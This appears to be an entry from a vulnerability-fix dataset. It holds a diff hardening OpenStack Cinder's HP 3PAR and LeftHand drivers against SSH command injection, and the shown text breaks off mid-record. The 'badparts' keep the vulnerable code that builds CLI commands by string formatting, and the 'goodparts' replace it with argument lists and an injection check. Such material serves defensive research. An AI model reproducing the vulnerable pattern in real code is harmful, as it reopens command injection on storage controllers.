b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\nindex c0d2f9c36..3cd6bea78 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n@@ -261,17 +261,17 @@ def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n@@ -349,7 +349,7 @@ def _get_ip_using_nsp(self, nsp):\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n@@ -361,7 +361,7 @@ def _get_active_nsp(self, hostname):\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\ndiff --git a/cinder/volume/drivers/san/hp_lefthand.py b/cinder/volume/drivers/san/hp_lefthand.py\nindex 0a5d02f7c..7fea86a38 100644\n--- a/cinder/volume/drivers/san/hp_lefthand.py\n+++ b/cinder/volume/drivers/san/hp_lefthand.py\n@@ -59,12 +59,11 @@ def __init__(self, *args, **kwargs):\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "message": "", "files": {"/cinder/tests/test_hp3par.py": {"changes": [{"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n", "add": 4, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -add fakehost '", " '123456789012345 123456789054321')", " show_host_cmd = 'showhost -verbose fakehost'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',", " '123456789054321']", " show_host_cmd = ['showhost', '-verbose', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -add fakehost '", " 'iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',", " 'iqn.1993-08.org.debian:01:222']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -host fakehost'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'", " show_vlun_cmd = 'showvlun -a -host fakehost'", " show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']", " show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']", " show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_common.py": {"changes": [{"diff": "\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"setwsapi -sru high\", None)"], "goodparts": [" self._cli_run(['setwsapi', '-sru', 'high'])"]}, {"diff": "\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),", " None)"], "goodparts": [" self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])"]}, {"diff": "\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n", "add": 1, "remove": 10, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _cli_run(self, verb, cli_args):", " cli_arg_strings = []", " if cli_args:", " for k, v in cli_args.items():", " if k == '':", " cli_arg_strings.append(\" %s\" % k)", " else:", " cli_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cli_arg_strings)"], "goodparts": [" def _cli_run(self, cmd):"]}, {"diff": "\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _run_ssh(self, command, check_exit=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}, {"diff": "\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('removehost %s' % hostname, None)", " out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)"], "goodparts": [" self._cli_run(['removehost', hostname])", " out = self._cli_run(['createvlun', volume, 'auto', hostname])"]}, {"diff": "\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -verbose %s' % (hostname), None)"], "goodparts": [" out = self._cli_run(['showhost', '-verbose', hostname])"]}, {"diff": "\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport', None)"], "goodparts": [" out = self._cli_run(['showport'])"]}, {"diff": "\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport -iscsi', None)"], "goodparts": [" out = self._cli_run(['showport', '-iscsi'])"]}, {"diff": "\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" result = self._cli_run('showport -iscsiname', None)"], "goodparts": [" result = self._cli_run(['showport', '-iscsiname'])"]}, {"diff": "\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n", "add": 7, "remove": 11, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('setqos %svvset:%s' %", " (cli_qos_string, vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('createvvset -domain %s %s' % (domain,", " vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)", " self._cli_run('removevvset -f %s' % (vvs_name), None)", " self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)"], "goodparts": [" self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['createvvset', '-domain', domain, vvs_name])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])", " self._cli_run(['removevvset', '-f', vvs_name])", " self._cli_run(['removevvset', '-f', vvs_name, volume_name])"]}, {"diff": "\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n", "add": 6, "remove": 6, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = 'createvvcopy -p %s -online ' % src_name", " cmd += '-snp_cpg %s ' % snap_cpg", " cmd += '-tpvv '", " cmd += cpg + ' '", " cmd += dest_name", " self._cli_run(cmd, None)"], "goodparts": [" cmd = ['createvvcopy', '-p', src_name, '-online']", " cmd.extend(['-snp_cpg', snap_cpg])", " cmd.append('-tpvv')", " cmd.append(cpg)", " cmd.append(dest_name)", " self._cli_run(cmd)"]}, {"diff": "\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = \"removevv -f %s\" % volume_name", " out = self._cli_run(cmd, None)"], "goodparts": [" cmd = ['removevv', '-f', volume_name]", " out = self._cli_run(cmd)"]}, {"diff": "\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list)", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -d', None)"], "goodparts": [" out = self._cli_run(['showhost', '-d'])"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_fc.py": {"changes": [{"diff": "\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), 